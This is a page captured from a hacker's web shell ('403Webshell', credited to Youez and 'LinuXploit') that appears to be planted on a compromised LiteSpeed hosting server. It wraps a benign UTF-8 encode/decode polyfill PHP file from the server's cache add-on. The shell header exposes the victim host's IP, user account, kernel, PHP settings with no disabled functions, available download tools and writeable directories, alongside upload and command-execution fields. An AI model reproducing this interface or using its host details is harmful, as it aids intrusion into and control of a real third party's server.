403Webshell
Server IP : 66.29.132.122  /  Your IP : 3.135.216.170
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/proc/self/root/proc/thread-self/root/proc/self/root/proc/self/root/proc/self/root/usr/local/lsws/add-ons/webcachemgr/src/ThirdParty/Polyfill/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/proc/self/root/proc/thread-self/root/proc/self/root/proc/self/root/proc/self/root/usr/local/lsws/add-ons/webcachemgr/src/ThirdParty/Polyfill/Utf8.php
<?php

/**
 * This file contains paired-down/modified code originally found in Symfony
 * package file Php72.php, used here as a PHP standard replacement for now
 * deprecated PHP functions utf8_encode() and utf8_decode().
 *
 * Modified by: Michael Alegre (LiteSpeed Technologies, Inc.), 2023
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Lsc\Wp\ThirdParty\Polyfill;

/**
 * @since 1.16.1
 */
class Utf8
{
    /**
     *
     * @since 1.16.1
     *
     * @param $s
     *
     * @return false|string
     */
    public static function encode($s)
    {
        $s .= $s;
        $len = strlen($s);

        for ($i = $len >> 1, $j = 0; $i < $len; ++$i, ++$j) {

            if ( $s[$i] < "\x80" ) {
                $s[$j] = $s[$i];
            }
            elseif ( $s[$i] < "\xC0" ) {
                $s[$j] = "\xC2";
                $s[++$j] = $s[$i];
            }
            else {
                $s[$j] = "\xC3";
                $s[++$j] = chr(ord($s[$i]) - 64);
            }
        }

        return substr($s, 0, $j);
    }

    /**
     *
     * @since 1.16.1
     *
     * @param $s
     *
     * @return false|string
     */
    public static function decode($s)
    {
        $s = (string) $s;
        $len = strlen($s);

        for ($i = 0, $j = 0; $i < $len; ++$i, ++$j) {

            switch ($s[$i] & "\xF0") {
                case "\xC0":
                case "\xD0":
                    $c = (ord($s[$i] & "\x1F") << 6) | ord($s[++$i] & "\x3F");
                    $s[$j] = $c < 256 ? chr($c) : '?';
                    break;

                case "\xF0":
                    ++$i;
                // fallthrough

                case "\xE0":
                    $s[$j] = '?';
                    $i += 2;
                    break;

                default:
                    $s[$j] = $s[$i];
            }
        }

        return substr($s, 0, $j);
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit